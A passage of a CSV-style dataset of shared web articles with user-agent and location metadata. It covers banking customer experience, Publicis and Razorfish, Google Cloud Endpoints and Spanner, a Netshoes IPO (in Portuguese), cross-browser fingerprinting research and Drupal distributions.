plan in place. This is a problem, given that the vast majority of the organizations surveyed agreed that CX was an important area of concern. Consistent with many other findings, community banks significantly lagged their peers in having a formal plan. CX Objectives Have Internal vs. Customer Focus When financial organizations globally were about their customer experience objectives, many of the goals revolved around how the bank or credit union could benefit as opposed to how the customer or member could benefit. In the survey, the top two answers provided were to improve the share of wallet (29%) and to gain efficiency (25%). We wonder whether customers believe that their experience is improved when their financial institutions 'gain efficiency'? Improving customer advocacy was the lowest ranked objective in the research. Banking Industry/Customer Satisfaction Mismatch Given that consumers consistently say that items like safety, security, transparency, trust, etc. are 'table stakes', and that the impact of daily digital transactions can have the most immediate impact on improving the customer experience, how do financial institutions believe customers are satisfied? Unfortunately, when asked to select three drivers of customer satisfaction, 'technology' ranked 5th (21%), and 'channels' ranked 9th (15%). At the top of the list were 'customer support and resolution' (55%) and 'great products' (43%). After the table stakes element of 'trust' (3rd place with 31%), financial institutions placed 'branch personnel' in the 4th position. While there is no denying that customer support and problem resolution are important, they are a driver of satisfaction only when something goes wrong. Similarly, the importance of branch personnel is only important for those who visit the branches (less than 1/3 of those just 10 years ago). As an industry, it has never been more important to focus on what is important to the majority of consumers ... today. ""Our goal is not just about delivering access to resources and convenient solutions - it's about anticipating and meeting our clients' ever-changing needs. - Michelle Moore , Head of Digital Banking at Bank of America Despite Investment Increase, Impact Remains Modest When asked about investment in customer experience initiatives, 72% of institutions indicated that they would be increasing their investment in CX initiatives in 2017, with 15% saying investment would remain the same and 6% actually saying they were expecting a decrease in investment. When asked about investment over the next 3 years, commitment was close to unanimous. When organizations were asked about the level of impact their current CX initiatives have had, 66% of respondents said that their efforts have had a 'moderate impact'. Only 28% of those responding said their program had a significant impact. Part of this lackluster effect may be a result of poor or non-existent tracking or reporting (""I really don't know if the programs have had an effect""). Alternatively, the result could be caused by ill-conceived programs that are focusing on the wrong areas of the organization (focusing on call center or branch satisfaction as opposed to digital engagement). When we broke down the responses by size and type of organization, the largest firms were the happiest with their CX results. This may be caused by a greater investment being made, a stronger focus on the overall customer experience or because the larger firms are spending more time improving the digital customer experience. What is of concern is that no community banks indicated that CX initiatives had a significant impact and that 25% of the community bank segment said their programs had a negative impact. That number seems astounding. This could be the result of a lack of commitment to improving CX, low investment or misplaced resources. Digital CX Efforts Most Effective When asked about the most effective individual customer experience initiatives, digital delivery (mobile and website) got the highest marks. Financial institutions who responded to the survey said that 80% of mobile and 55% of website initiatives were at least partially effective. While not receiving the highest marks for effectiveness overall, 70% of social media marketing efforts were thought to be successful. It is interesting that 64% of customer analytics programs were deemed at least somewhat successful. That is not to assume that there is a great impact, but it is a positive sign to see that organizations are starting to feel the impact of the core of great customer experience ... data. CX Challenges Include Data Analytics and Legacy Systems There is a great deal of discussion in banking around the need to deliver personalized, timely and relevant communications and offers that drive customer profitability, satisfaction and loyalty. Unfortunately, there is still a large gap between the aspirations of bank marketers and the ability to deliver on these goals. The challenge is that while there are affordable and powerful tools available to create powerful omnichannel customer experiences, most bank marketers are using the same outdated data sources and marketing methodologies they have used for decades. For those marketers who do have the right tools at their disposal, many indicate an inability to use these tools effectively. Challenges around data were at the top of the list in our research as well. Survey respondents were also asked to select three of their biggest obstacles when trying to improve their customer experience. Not surprisingly, the top obstacles all were related to challenges that have been part of banking for decades. From outdated technology (49%), siloed systems (48%) and the lack of a consolidated customer view (42%), all of these challenges impact many key banking initiatives. The lack of a clear strategy or corporate-level commitment to CX was mentioned by 32% of those surveyed, while lack of funding was mentioned by 17% of respondents. Most of the other obstacles related to data issues which was not a surprise. Measurement of CX Success The most mentioned measures of CX success in our survey were related to customer satisfaction, loyalty and retention. By not using more tangible revenue impact measures, it is believed funding for CX programs could be negatively impacted. This is reinforced by the fact that resources, executive buy-in & budgets are seen as hurdles to success. The KPIs used to measure customer experience initiatives varied based on how the company views their CX strategy as part of the greater business. Six in ten (58%) respondents said 'customer satisfaction' was the primary yardstick for measuring individual improvements to the customer experience, while 45% use this metric for overarching institutional measures. The second most common measurement of individual program success mentioned was 'customer retention', which was indicated by 38% of the respondents, with 42% using this as an overarching measure as well. The top measure of customer experience improvement as a total institution was Net Promoter Score (NPS) at 53%, with traditional KPIs such as response time, problem resolution times and task completion rates also being used on an overall and project basis. The more data that can be drawn into understanding customer mindsets and creating actionable insights, the more decisively a CX team can act and convey the case behind their initiatives to key business leadership. This includes both structured and unstructured data that can fully personalize the customer experience. Improving CX Results As the banking industry responds to the ""Age of the Individual"", big data and advanced analytics will define the winners from the losers. It is critical for banks and credit unions to deliver on the personalization promise to win the battle of having the best customer experience. How customer insight is used can make a big difference to the customer experience - and ultimately to the profitability of the organization. The right information, analyzed in the right way, can ensure that the financial institution can provide the right offer at the right time - along with a seamless service at a lower cost. And that has to be good for everyone involved. Regarding where to start, Ron Shevlin from Cornerstone Advisors probably summed it up best as an intro to the report, ""Too much of the discussion around the 'customer experience' reflects a desire to simplify the complex, and find the silver bullet that fixes business problems and engenders customer loyalty. That's too bad, because organizations that take a data-driven, process-oriented approach to improving customer experiences-often fixing just one little thing that stands in the way of customers' satisfaction-can achieve competitive advantages."" Customers no longer view their experiences within industry silos, but instead, compare their experience to leading firms such as Google, Amazon, Uber and Apple. Consumers want organizations to simplify engagement and make their lives easier. Purchase the Report The Improving the Customer Experience in Banking report, sponsored by Deluxe Corp. , provides insight into the progress being made by financial institutions globally in the area of customer experience. Beyond a review of goals and investments, this report delves deeply into the strategies, effectiveness, challenges and measures around improving CX in the banking industry. The report includes the results of a survey of more than 250 financial services organizations worldwide. The report has 85 pages of analysis and 52 charts/graphs. Most importantly, the cross-tabs by organization size and type allow a comparison of peers. There are also guest articles from Bank of America, Brian Solis and other experts on customer experience. You can download an executive summary of this Digital Banking Report by clicking . Subscribers to The Digital Banking Report and those wishing to purchase the complete report can access it immediately by clicking . Jim Marous is co-publisher of The Financial Brand and publisher of the Digital Banking Report , a subscription-based publication that provides deep insights into the digitization of banking, with over 150 reports in the digital archive available to subscribers. You can follow Jim on Twitter and LinkedIn , or visit his professional website . All content © 2017 by The Financial Brand and may not be reproduced by any means without permission.",en
1487003194,CONTENT SHARED,2760335717049716507,-2726721797588771398,-7517572431848788272,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.37 Safari/537.36",NJ,US,HTML,https://which-50.com/razorfish-us-digital-revenues-drag-publicis/,"Razorfish, US digital revenues, drag down Publicis","It looked like a stunning strategy. After Publicis - one of the world's largest media and communications companies - had acquired both Razorfish and Sapient Nitro over the past decade it appeared as though the global giant had secured both Mayfair and Park Lane on the digital agency monopoly board. However the company appears to have bitten off more than it can chew and late last year it merged the two companies into a single unit. The restructure lead to a big impairment charge which along with a poor performance in the US operations in 2015 and 2016 has caused a drag on the company's results. It reported a loss of more than half a billion euros this quarter. The problems with Razorfish come at a critical time. Media and advertising groups like Publicis are increasingly encroaching on the territory of traditional consulting and systems integration businesses like Deloitte and Accenture. The challenge between these two contrasting approaches to digital transformation - one marketing lead and more traditionally IT focused promises to be one of the great business clashes of the next decade. Transition In its latest quarterly results, traditional media fell in the US, but so did digital advertising which in a surprisingly bad result retreated by 0.4 per cent although that was offset by big gains in Europe, APAC and the Middle east and Africa. And its problems in the US might be about to get worse as it is one of several companies being investigated for as part of a price fixing investigation. According to Maurice Lévy, Chairman and CEO of Publicis Groupe said serious issues at Razorfish led the company to merge Razorfish and SapientNitro. He said the merger wouldcreate the world's first entity dedicated to consumer experience. Levy said that were 2016was devoted to the implementation of the Group's new organisation and transformation from an advertising holding company to a connecting company, 2017 would mark the start of a new era, as much for society as for the Groupe. ""Society is evolving spectacularly as the exponential development of digital and other technologies obliges companies to undergo very deep transformation."" ""Our Groupe is ready for this new world thanks to its high-potential digital assets and capacities to help our clients embrace this new order, including help with their own transformation. And we have a new generation at the helm.""",en
1487069282,CONTENT SHARED,-1419188045265393093,3891637997717104548,1674333390636967341,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36",SP,BR,HTML,https://cloudplatform.googleblog.com/2017/02/Google-Cloud-Endpoints-now-GA-a-fast-scalable-API-gateway.html,"Google Cloud Endpoints now generally available: a fast, scalable API gateway","Today we're excited to announce general availability and full support for Google Cloud Endpoints, a truly distributed API gateway. It features a server-local proxy (the Extensible Service Proxy ) and is built on the same services that Google uses to power its own APIs. For developers building applications and microservices on Google Cloud Platform (GCP), Cloud Endpoints is the best-suited modern API gateway that helps secure and monitor their APIs. APIs are a critical part of mobile apps, modern web applications and microservices. With the increased focus on APIs comes increased responsibility: the top features you need to take care of your API are authorization, monitoring and logging. In other words, ""Help make my API safer"" and ""Tell me how my API is doing."" And, above all: ""Help make sure it is highly performant!"" Cloud Endpoints helps you with all of that. Through integrations with Firebase and Auth0, Cloud Endpoints authenticates each call to your API - so you know who's using your mobile and web apps. Cloud Endpoints also validates service-to-service calls, helping to keep your microservices more secure. You can create API keys via the Google Cloud Console , just like we do for APIs such as the Google Translation API and the Google Maps APIs. It logs API calls to Stackdriver Logging and displays a monitoring dashboard in the console, giving you critical status information about the health and performance of your API. Cloud Endpoints is tightly integrated with the GCP ecosystem and is easy to use especially when running containerized workloads. The API proxy is built into Google App Engine flexible environment and can be added to any Kubernetes or Google Container Engine deployment with a couple of lines of YAML. Deployment occurs through gcloud, and the monitoring and logging is all in Cloud Console. The proxy functionality is also built into the Endpoints API Frameworks (see below) for use on App Engine standard environment . Cloud Endpoints is ideal for GCP customers who need a fast, scalable API gateway. Enterprise customers can also take advantage of Apigee Edge, an industry leading API management platform that we acquired this fall, for full-featured API management that works across on-premises, cloud and hybrid deployment models. Endpoints has been in beta for three months and our early adopters are already doing amazing things with it. We've seen people going from initial evaluation to production in days, and scalability has been terrific: one customer's API peaked at over 11,000 requests per second, and another customer served nearly 50 million requests in a day. ""When migrating our workloads to Google Cloud Platform, we needed to securely communicate between multiple data centres. Traditional methods like firewalls and ad hoc authentication were unsustainable, quickly leading to a jumbled mess of ACLs. Endpoints, on the other hand, gives us a standardised authentication system, backed by Google's security pedigree."" -Laurie Clark-Michalek, Infrastructure Engineer at Qubit Frameworks For developers working on App Engine standard environment, we're also announcing general availability and full support for our Java and Python frameworks. The Endpoints Frameworks are available to help developers quickly get started serving an API from App Engine. Think of the Endpoints Frameworks as lightweight alternatives to Python Flask or Java Jersey . The Endpoints Frameworks come with built-in integration to the Google Service Control API, meaning that back-ends built with the Endpoints Frameworks do not need to run behind the Extensible Service Proxy. Pricing We want everyone to be able to benefit from Cloud Endpoints, so we created a free tier so that your first two million API calls per month are available at no charge. Once your service is popular enough to go beyond the free-tier, the pricing is a simple $3.00 per million requests. The Endpoints Frameworks can optionally expose all of the features of the Cloud Endpoints API gateway. The Endpoints Frameworks can be used at no cost, but the Endpoints API gateway features turned on with the Frameworks (API keys, monitoring and logging) are charged at the standard rate . Go ahead, read the documentation , try our walkthroughs for App Engine (standard or flexible environment ), Container Engine or Compute Engine and join our Google Cloud Endpoints Google Group . To hear more about Google's vision on comprehensive API technologies for enterprise customers and developers, including more about Apigee Edge , please join us next month at Google Cloud Next '17 in San Francisco.",en
1487073029,CONTENT SHARED,-502840688786875793,-1352064057049251194,-4939103420967259797,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,http://exame.abril.com.br/negocios/o-ipo-e-a-saida-para-a-netshoes/,O IPO é a saída para a Netshoes?,". Reportagem publicada originalmente em EXAME Hoje, app disponível na App Store e no Google Play Para ler esta reportagem antecipadamente, assine EXAME Hoje . Há eventos que vêm se repetindo todo mês de janeiro, ano após ano. Os arrastões nas praias cariocas, as contratações milionárias de times de futebol chineses e a explosão de blocos de carnaval em São Paulo estão entre eles. No mundo das finanças, janeiro é tempo de especulações sobre a possível oferta pública de ações (IPO, na sigla em inglês) da , maior e-commerce esportivo do país. A companhia ensaia entrar na pelo menos desde 2013, apesar dos constantes prejuízos. O ano de 2017 continuou sendo de arrastões e gastança chinesa, mas tudo indica que, agora sim, o da Netshoes sai do papel. EXAME Hoje apurou que a companhia está decidida a abrir capital, no Brasil ou nos Estados Unidos - se tudo ajudar, ainda no primeiro semestre. Para isso, contratou a consultoria KPMG para organizar suas contas e também bancos nacionais e internacionais para tocar as negociações com investidores. Procurada, a Netshoes disse que ""a abertura de capital é apenas uma dentre diversas possibilidades que a empresa tem à sua disposição para seguir seu planejamento estratégico"". Os planos anteriores da companhia envolviam realizar uma abertura de capital na bolsa americana Nasdaq, que abriga gigantes da tecnologia como Amazon, Apple e Google. A Netshoes chegou a ilustrar uma capa de EXAME sobre o tema, em 2013. Lá, os investidores estariam mais acostumados com negócios na área da tecnologia - onde perder dinheiro é rotina, em prol de um crescimento acelerado. Mas a Netshoes não foi para Nasdaq, por uma série de motivos, e a cada dia que passa a distância foi ficando maior. ""A empresa precisaria mostrar um crescimento mais sustentável, com uma tendência mais clara de que está no caminho certo"", afirma um especialista do setor. Os desafios da Netshoes são pra lá de conhecidos - manter um ritmo de crescimento minimamente agressivo e ao mesmo tempo entrar no azul. O problema é que o balanço da Netshoes é uma gangorra. Até 2014, o ritmo de crescimento vinha diminuindo - em 2014 o faturamento cresceu apenas 19% enquanto prejuízo chegou ao patamar recorde de 93 milhões de reais, uma alta de 30%. Em 2015, no último balanço disponível, a companhia conseguiu voltar a crescer com o lançamento do seu e-commerce de moda Zattini. O faturamento avançou 30%, para 1,5 bilhão de reais, e o prejuízo diminuiu, para os 63 milhões de reais. A dúvida agora é o que a companhia conseguiu fazer em 2016, ano em que, por conta da crise, nem as gigantes do comércio eletrônico foram poupadas. O varejo online cresceu apenas 11%, segundo a Associação Brasileira de Comércio Eletrônico, ante uma média superior a 20% nos anos anteriores. A B2W, a maior do país, que opera o e-commerce das Lojas Americanas, Submarino.com e Shoptime, teve uma queda de 8,7% na receita nos primeiros nove meses de 2016, com o prejuízo subindo 49%, para 383,6 milhões de reais. ""A principal dúvida é: a Netshoes conseguiu fazer o dever de casa e crescer mesmo em tempos de crise? Essa é a questão fundamental para um IPO"", diz Paulo Humberg, presidente da companhia de investimentos em internet A5. Os dados de 2016 devem ser divulgados pela Netshoes em março. Outros planos Uma possibilidade que bate na porta da Netshoes é a venda para uma empresa maior. No último dia 5, o colunista Lauro Jardim, do jornal O Globo, noticiou que a B2W estaria negociando uma aquisição. O que se sabe é que a Lojas Americanas, controladora da B2W, contratou o banco Credit Suisse para uma nova emissão de ações, no valor de 1,5 bilhão de reais, mas esse dinheiro não deve ser usado para comprar a Netshoes, de acordo com o que apurou EXAME Hoje com executivos próximos das duas empresas. ""Essa conversa existiu, mas há 10 anos, quando as duas companhias eram bem próximas"", disse um deles. ""Agora, isso não existe mais"". Nesse período, a Netshoes operou o braço de artigos esportivos da B2W, mas as conversas para uma fusão ou compra da Netshoes não avançaram. Por conta própria, a Netshoes tem avançado na seara da B2W. No início de 2016, a Netshoes anunciou a criação de seu marketplace - plataforma que permite que outros lojistas vendam seus produtos no site da companhia. Na época, a empresa estimou que o marketplace poderia representa até 20% de seu negócio no médio prazo, dobrando seu portfólio - na época de 80.000 produtos - ainda em 2016. ""A Netshoes é uma das únicas companhias de e-commerce com um atendimento ao consumidor especializado e internalizado, e também tem parcerias exclusivas com grandes marcas como a Nike, que só utiliza o marketplace da Netshoes"", diz um executivo de uma concorrente. ""Eles estão conseguindo montar uma operação parecida com a da B2W"". Por enquanto, a Netshoes se mantém focada em beleza, moda e esporte, mas, segundo EXAME Hoje apurou, há planos para avançar para novos nichos. Se vier a ofertar suas ações na Bovespa, a Netshoes também vai seguir os mesmos passos da B2W - única companhia do setor na bolsa brasileira. Os números da empresa não animam muito: a B2W já perdeu 54% de valor de mercado, que passou de 9,6 bilhões de reais na época do IPO, em 2007, para os 4,4 bilhões de reais atuais, segundo a consultoria Economatica. ""A companhia é boa e na minha visão está barata, mas os investidores estão cansados de prejuízo atrás de prejuízo"", afirma Luis Gustavo Pereira, estrategista da corretora Guide. Em 10 anos de bolsa, a B2W nunca fechou um ano no azul. Analistas consultados por EXAME Hoje afirmam que a Netshoes a não poderia exigir um valor muito alto pelos papeis - a exemplo do que aconteceu com as últimas tentativas ocorridas no mercado. A única empresa a entrar na bolsa em 2016 - a companhia de diagnósticos Alliar - já perdeu mais de 30% do valor de suas ações, a construtora Tenda desistiu de um IPO no fim do ano passado e a locadora de veículos Movida teve que reduzir o preço inicialmente pedido para conseguir estrear na bolsa esta semana. Calcular o valor de mercado da Netshoes é uma tarefa difícil. Em 2013, os acionistas da companhia esperavam que, no dia de seu IPO, a Netshoes valesse 2 bilhões de reais. Há um ano e meio, a varejista americana Walmart fez uma oferta de 900 milhões de reais pelo controle da companhia, mas a Netshoes recusou. Em todos esses casos de aberturas de capital recente, a explicação para as avaliações abaixo do esperado é de que as empresas têm colocado seus preços com base em expectativas de lucros maiores no futuro, mas o investidor - depois de sofrer com promessas não cumpridas nos últimos anos - não está tão disposto a pagar para ver. Não é o cenário dos sonhos para a Netshoes. Mas a empresa espera a janela ideal de oportunidade há quatro anos. Uma hora cansa.",pt
1487077482,CONTENT SHARED,2572662123697831414,7774613525190730745,7216501233226955697,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SC,US,HTML,https://arstechnica.co.uk/security/2017/02/now-sites-can-fingerprint-you-online-even-when-you-use-multiple-browsers/,Now sites can fingerprint you online even when you use multiple browsers,"Researchers have recently developed the first reliable technique for websites to track visitors even when they use two or more different browsers. This shatters a key defense against sites that identify visitors based on the digital fingerprint their browsers leave behind. State-of-the-art fingerprinting techniques are highly effective at identifying users when they use browsers with default or commonly used settings. For instance, the Electronic Frontier Foundation's privacy tool, known as Panopticlick , found that only one in about 77,691 browsers had the same characteristics as the one commonly used by this reporter. Such fingerprints are the result of specific settings and customizations found in a specific browser installation, including the list of plugins, the selected time zone, whether a ""do not track"" option is turned on, and whether an adblocker is being used. Until now, however, the tracking has been limited to a single browser. This constraint made it infeasible to tie, say, the fingerprint left behind by a Firefox browser to the fingerprint from a Chrome or Edge installation running on the same machine. The new technique-outlined in a research paper titled (Cross-)Browser Fingerprinting via OS and Hardware Level Features -not only works across multiple browsers. It's also more accurate than previous single-browser fingerprinting. Fingerprinting isn't automatically bad and, in some cases, offers potential benefits to end users. Banks, for instance, can use it to know that a person logging into an online account isn't using the computer that has been used on every previous visit. Based on that observation, the bank could check with the account holder by phone to make sure the login was legitimate. But fingerprinting also carries sobering privacy concerns. ""From the negative perspective, people can use our cross-browser tracking to violate users' privacy by providing customized ads,"" Yinzhi Cao, the lead researcher who is an assistant professor in the Computer Science and Engineering Department at Lehigh University, told Ars. ""Our work makes the scenario even worse, because after the user switches browsers, the ads company can still recognize the user. In order to defeat the privacy violation, we believe that we need to know our enemy well."" The new technique relies on code that instructs browsers to perform a variety of tasks. Those tasks, in turn, draw on operating-system and hardware resources-including graphics cards, multiple CPU cores, audio cards, and installed fonts-that are slightly different for each computer. For instance, the cross-browser fingerprinting carries out 20 carefully selected tasks that use the WebGL standard for rendering 3D graphics in browsers . In all, 36 new features work independent of a specific browser. In the paper, the researchers write: We propose a (cross-)browser fingerprinting based on many novel OS and hardware level features, e.g. , these from graphics card, CPU, audio stack, and installed writing scripts. Specifically, because many of such OS and hardware level functions are exposed to JavaScript via browser APIs, we can extract features when asking the browser to perform certain tasks through these APIs. The extracted features can be used for both single- and cross-browser fingerprinting. Ninety-nine percent success rate The new tracking technique relies on JavaScript code that's compact enough to run quickly in the background while visitors are focused on a specific task, such as reading text or viewing video. The researchers have launched this website to demonstrate the techniques and have released the corresponding source code here . In a test that collected 3,615 fingerprints from 1,903 users over a three-month period, the technique was able to successfully identify 99.2 percent of users. By contrast, a single-browser fingerprinting technique dubbed AmIUnique, had a success rate of 90.8 percent. Fortunately, cross-browser tracking doesn't work against people using the default installation of the Tor browser. Still, many people tweak their installations of Tor so that it supports certain WebGL graphics capabilities required by gaming sites or other online destinations. While those tweaks may make the Tor browser more usable, they may also make it less immune to the fingerprinting techniques. Cao said he's not aware of any sites using cross-browser fingerprinting. Cross-browser fingerprinting is only the latest trick developers have come up to track people who visit their sites. Besides traditional single-browser fingerprinting, other tracking methods include monitoring the way visitors type passwords and other text and embedding inaudible sound in TV commercials or websites . The Tor browser without an attached microphone or speakers is probably the most effective means of protection, although the researchers said running a browser inside a virtual machine may also work. ""This approach is lightweight, but we need to find all possible fingerprintable places, such as canvas and audio context,"" the researchers wrote of the potential virtualization defense. ""If one place is missing, the browser can still be somehow fingerprinted. We leave it as our future work to explore the correct virtualization layer."" This post originated on Ars Technica",en
1487094770,CONTENT SHARED,8153556216916362816,3891637997717104548,1674333390636967341,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36",SP,BR,HTML,https://cloudplatform.googleblog.com/2017/02/introducing-Cloud-Spanner-a-global-database-service-for-mission-critical-applications.html,Introducing Cloud Spanner: a global database service for mission-critical applications,"Today, we're excited to announce the public beta for Cloud Spanner , a globally distributed relational database service that lets customers have their cake and eat it too: ACID transactions and SQL semantics, without giving up horizontal scaling and high availability. When building cloud applications, database administrators and developers have been forced to choose between traditional databases that guarantee transactional consistency, or NoSQL databases that offer simple, horizontal scaling and data distribution. Cloud Spanner breaks that dichotomy, offering both of these critical capabilities in a single, fully managed service. "" Cloud Spanner presents tremendous value for our customers who are retailers, manufacturers and wholesale distributors around the world. With its ease of provisioning and scalability, it will accelerate our ability to bring cloud-based omni-channel supply chain solutions to our users around the world ,"" - John Sarvari, Group Vice President of Technology, JDA JDA, a retail and supply chain software leader, has used Google Cloud Platform (GCP) as the basis of its new application development and delivery since 2015 and was an early user of Cloud Spanner. The company saw its potential to handle the explosion of data coming from new information sources such as IoT, while providing the consistency and high availability needed when using this data. Cloud Spanner rounds out our portfolio of database services on GCP, alongside Cloud SQL, Cloud Datastore and Cloud Bigtable. As a managed service, Cloud Spanner provides key benefits to DBAs: Focus on your application logic instead of spending valuable time managing hardware and software Scale out your RDBMS solutions without complex sharding or clustering Gain horizontal scaling without migration from relational to NoSQL databases Maintain high availability and protect against disaster without needing to engineer a complex replication and failover infrastructure Gain integrated security with data-layer encryption, identity and access management and audit logging With Cloud Spanner, your database scales up and down as needed, and you'll only pay for what you use. It features a simple pricing model that charges for compute node-hours, actual storage consumption (no pre-provisioning) and external network access. Cloud Spanner keeps application development simple by supporting standard tools and languages in a familiar relational database environment. It's ideal for operational workloads supported by traditional relational databases, including inventory management, financial transactions and control systems, that are outgrowing those systems. It supports distributed transactions, schemas and DDL statements, SQL queries and JDBC drivers and offers client libraries for the most popular languages, including Java, Go, Python and Node.js. More Cloud Spanner customers share feedback Quizlet, an online learning tool that supports more than 20 million students and teachers each month, uses MySQL as its primary database; database performance and stability are critical to the business. But with users growing at roughly 50% a year, Quizlet has been forced to scale its database many times to handle this load. By splitting tables into their own databases (vertical sharding), and moving query load to replicas, it's been able to increase query capacity - but this technique is reaching its limits quickly, as the tables themselves are outgrowing what a single MySQL shard can support. In its search for a more scalable architecture, Quizlet discovered Cloud Spanner, which will allow it to easily scale its relational database and simplify its application: "" Based on our experience and performance testing, Cloud Spanner is the most compelling option we've seen to power a high-scale relational query workload. It has the performance and scalability of a NoSQL database, but can execute SQL so it's a viable alternative to sharded MySQL. It's an impressive technology and could dramatically simplify how we manage our databases. "" - Peter Bakkum, Platform Lead, Quizlet The history of Spanner For decades, developers have relied on traditional databases with a relational data model and SQL semantics to build applications that meet business needs. Meanwhile, NoSQL solutions emerged that were great for scale and fast, efficient data-processing, but they didn't meet the need for strong consistency. Faced with these two sub-optimal choices that customers grapple with today, in 2007, a team of systems researchers and engineers at Google set out to develop a globally-distributed database that could bridge this gap. In 2012, we published the Spanner research paper that described many of these innovations. The result was a database that offers the best of both worlds: Remarkably, Cloud Spanner achieves this combination of features without violating the CAP Theorem . To understand how, read this post by the author of the CAP Theorem and Google Vice President of Infrastructure, Eric Brewer. Over the years, we've battle-tested Spanner internally with hundreds of different applications and petabytes of data across data centers around the world. At Google, Spanner supports tens of millions of queries per second and runs some of our most critical services, including AdWords and Google Play. If you have a MySQL or PostgreSQL system that's bursting at the seams, or are struggling with hand-rolled transactions on top of an eventually-consistent database, Cloud Spanner could be the solution you're looking for. Visit the Cloud Spanner page to learn more and get started building applications on our next-generation database service.",en
1487107366,CONTENT SHARED,-5283011611531067471,3891637997717104548,1674333390636967341,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36",SP,BR,HTML,http://buytaert.net/distributions-remain-a-growing-opportunity-for-drupal,Dries Distributions remain a growing opportunity for Drupal - Buytaert,"Yesterday, after publishing a blog post about Nasdaq's Drupal 8 distribution for investor relations websites , I realized I don't talk enough about ""Drupal distributions"" on my blog. The ability for anyone to take Drupal and build their own distribution is not only a powerful model, but something that is relatively unique to Drupal. To the best of my knowledge, Drupal is still the only content management system that actively encourages its community to build and share distributions. A Drupal distribution packages a set of contributed and custom modules together with Drupal core to optimize Drupal for a specific use case or industry. For example, Open Social is a free Drupal distribution for creating private social networks. Open Social was developed by GoalGorilla , a digital agency from the Netherlands. The United Nations is currently migrating many of their own social platforms to Open Social. Another example is Lightning , a distribution developed and maintained by Acquia . While Open Social targets a specific use case, Lightning provides a framework or starting point for any Drupal 8 project that requires more advanced layout, media, workflow and preview capabilities. For more than 10 years, I've believed that Drupal distributions are one of Drupal's biggest opportunities . As I wrote back in 2006: Distributions allow us to create ready-made downloadable packages with their own focus and vision. This will enable Drupal to reach out to both new and different markets. . To capture this opportunity we needed to (1) make distributions less costly to build and maintain and (2) make distributions more commercially interesting. Making distributions easier to build Over the last 12 years we have evolved the underlying technology of Drupal distributions, making them even easier to build and maintain. We began working on distribution capabilities in 2004, when the CivicSpace Drupal 4.6 distribution was created to support Howard Dean's presidential campaign. Since then, every major Drupal release has advanced Drupal's distribution building capabilities. The release of Drupal 5 marked a big milestone for distributions as we introduced a web-based installer and support for ""installation profiles"", which was the foundational technology used to create Drupal distributions. We continued to make improvements to installation profiles during the Drupal 6 release. It was these improvements that resulted in an explosion of great Drupal distributions such as OpenAtrium (an intranet distribution), OpenPublish (a distribution for online publishers), Ubercart (a commerce distribution) and Pressflow (a distribution with performance and scalability improvements). Around the release of Drupal 7, we added distribution support to Drupal.org. This made it possible to build, host and collaborate on distributions directly on Drupal.org. Drupal 7 inspired another wave of great distributions: Commerce Kickstart (a commerce distribution), Panopoly (a generic site building distribution), Opigno LMS (a distribution for learning management services), and more! Today, Drupal.org lists over 1,000 distributions. Most recently we've made another giant leap forward with Drupal 8. There are at least 3 important changes in Drupal 8 that make building and maintaining distributions much easier: Drupal 8 has vastly improved dependency management for modules, themes and libraries thanks to support for Composer . Drupal 8 ships with a new configuration management system that makes it much easier to share configurations. We moved a dozen of the most commonly used modules into Drupal 8 core (e.g. Views, WYSIWYG, etc), which means that maintaining a distribution requires less compatibility and testing work. It also enables an easier upgrade path. Open Restaurant is a great example of a Drupal 8 distribution that has taken advantage of these new improvements. The Open Restaurant distribution has everything you need to build a restaurant website and uses Composer when installing the distribution. More improvements are already in the works for future versions of Drupal. One particularly exciting development is the concept of ""inheriting"" distributions , which allows Drupal distributions to build upon each other. For example, Acquia Lightning could ""inherit"" the standard core profile - adding layout, media and workflow capabilities to Drupal core, and Open Social could inherit Lightning - adding social capabilities on top of Lightning. In this model, Open Social delegates the work of maintaining Layout, Media, and Workflow to the maintainers of Lightning. It's not too hard to see how this could radically simplify the maintenance of distributions. The less effort it takes to build and maintain a distribution, the more distributions will emerge. The more distributions that emerge, the better Drupal can compete with a wide range of turnkey solutions in addition to new markets. Over the course of twelve years we have improved the underlying technology for building distributions, and we will continue to do so for years to come. Making distributions commercially interesting In 2010, after having built a couple of distributions at Acquia, I used to joke that distributions are the ""most expensive lead generation tool for professional services work"". This is because monetizing a distribution is hard. Fortunately, we have made progress on making distributions more commercially viable. At Acquia, our Drupal Gardens product taught us a lot about how to monetize a single Drupal distribution through a SaaS model. We discontinued Drupal Gardens but turned what we learned from operating Drupal Gardens into Acquia Cloud Site Factory. Instead of hosting a single Drupal distribution (i.e. Drupal Gardens), we can now host any number of Drupal distributions on Acquia Cloud Site Factory. This is why Nasdaq's offering is so interesting; it offers a powerful example of how organizations can leverage the distribution ""as-a-service"" model. Nasdaq has built a custom Drupal 8 distribution and offers it as-a-service to their customers. When Nasdaq makes money from their Drupal distribution they can continue to invest in both their distribution and Drupal for many years to come. In other words, distributions have evolved from an expensive lead generation tool to something you can offer as a service at a large scale. Since 2006 we have known that hosted service models are more compelling but unfortunately at the time the technology wasn't there. Today, we have the tools that make it easier to deploy and manage large constellations of websites. This also includes providing a 24x7 help desk, SLA-based support, hosting, upgrades, theming services and go-to-market strategies. All of these improvements are making distributions more commercially viable.",en
